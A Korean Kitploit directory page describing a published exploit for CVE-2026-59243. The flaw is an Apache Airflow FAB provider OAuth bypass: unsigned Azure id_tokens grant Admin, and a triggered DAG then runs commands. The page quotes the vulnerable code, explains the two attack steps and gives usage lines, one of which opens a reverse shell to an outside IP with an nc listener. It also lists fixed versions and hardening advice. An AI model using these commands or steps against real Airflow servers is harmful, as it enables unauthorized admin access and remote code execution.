Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-59243_exploit — REST API를 통해 제작된 DAG를 트리거하여 관리자 액세스 및 원격 코드 실행을 달성하는 Apache Airflow FAB OAuth 인증 우회(CVE-2026-59243) Exploit입니다. | Kitploit
도구/GitHubGitHub/0xdak/cve-2026-59243_exploit
Authentication & AuthorizationExploitationWeb Application ExploitationPenetration TestingRed TeamingAPI Security
GitHub0xdak/cve-2026-59243_exploit

CVE-2026-59243_exploit

REST API를 통해 제작된 DAG를 트리거하여 관리자 액세스 및 원격 코드 실행을 달성하는 Apache Airflow FAB OAuth 인증 우회(CVE-2026-59243) Exploit입니다.

저장소 보기
15일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-59243 — Apache Airflow FAB Provider OAuth 인증 우회 → DAG RCE

Apache Airflow의 FAB 인증 관리자 제공업체(apache-airflow-providers-fab)에서 인증 우회가 발생하며, 트리거된 DAG를 통해 원격 코드 실행으로 이어집니다.

이 제공업체는 **기본적으로 서명 검증이 비활성화된 Azure OAuth id_token**을 디코딩합니다 (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):

root@kitploit:~
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

클레임은 ID에 직접 매핑됩니다 — oid → 사용자 이름, roles → role_keys — 그리고 AUTH_ROLES_MAPPING은 roles=["Azure-Admins"] 클레임을 Admin 역할로 변환합니다. 토큰의 서명/발급자/대상(audience)은 절대 검사되지 않으므로(CWE-347), OAuth 흐름을 완료한 공격자는 실제 자격 증명 없이 Admin으로 인증됩니다. Admin은 임의 명령을 실행하는 DAG를 트리거할 수 있습니다.

  • 영향받는 버전: apache-airflow-providers-fab < 3.7.3 (apache-airflow >= 3.0.2 사용 시)
  • 수정된 버전: 3.7.3 (기본값이 verify_signature=True로 변경됨; Microsoft의 JWKS에 대해 토큰 검증)
  • CWE: 347 (암호화 서명의 부적절한 검증)
  • 기본 포트: 8080 (Airflow UI + REST API)
  • 영향: 인증되지 않은 Admin 접근 → DAG 태스크를 통한 RCE (Airflow worker 사용자 권한으로)

요구 사항

Python 3 표준 라이브러리만 필요합니다. 대상은 취약한 Azure OAuth 제공업체가 구성된 FAB 인증 관리자를 보유해야 하며, (RCE 단계를 위해) 태스크가 공격자가 제어하는 dag_run.conf를 실행하는 DAG가 있어야 합니다.

사용법

root@kitploit:~
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

작동 방식

  1. 인증 우회 — 쿠키 저장소(cookie jar)를 사용하여 OAuth 흐름(GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)을 진행합니다. FAB는 서명되지 않았거나 위조된 id_token을 수락하고 Admin으로 로그인하여 session 쿠키와 _token 쿠키(REST API가 기대하는 JWT)를 설정합니다.
  2. RCE — {"conf":{"cmd":"..."}}와 함께 POST /api/v2/dags/<dag>/dagRuns (Bearer _token)를 전송하여 BashOperator가 dag_run.conf['cmd']를 실행하는 DAG를 트리거합니다. 실행마다 **고유한 logical_date**를 사용하세요 ((dag_id, logical_date) 쌍은 메타데이터 DB에서 고유합니다).

이 도구는 또한 OAuth authorize 리디렉션의 루프백 호스트를 대상으로 다시 작성하므로, 서버 구성에서 IdP가 127.0.0.1로 광고되는 원격 대상에 대해 작동합니다.

참고

이것은 토큰 검증 결함을 악용합니다. Admin에 도달하려면 OAuth 흐름에서 상승된 roles 클레임이 있는 토큰이 생성되어야 합니다. Airflow는 서명을 절대 검증하지 않으므로 IdP/토큰에 영향을 줄 수 있는 경우 이는 사소한 일입니다. RCE 단계는 dag_run.conf를 실행하는 DAG(일반적인 패턴)를 가정합니다. 그렇지 않은 경우 Admin 접근 권한은 다른 Airflow 기능을 통해 활용될 수 있습니다.

해결 방법

apache-airflow-providers-fab를 ≥ 3.7.3으로 업그레이드하세요; 외부에서 주장된 OAuth 역할 클레임을 Admin에 직접 매핑하지 마세요; Airflow를 root로 실행하지 마세요; UI/API를 신뢰할 수 없는 네트워크에 노출하지 마세요.

면책 조항

승인된 보안 테스트 및 교육 전용입니다. 소유하거나 테스트할 명시적 권한이 있는 시스템에 대해서만 사용하세요.

도구 다운로드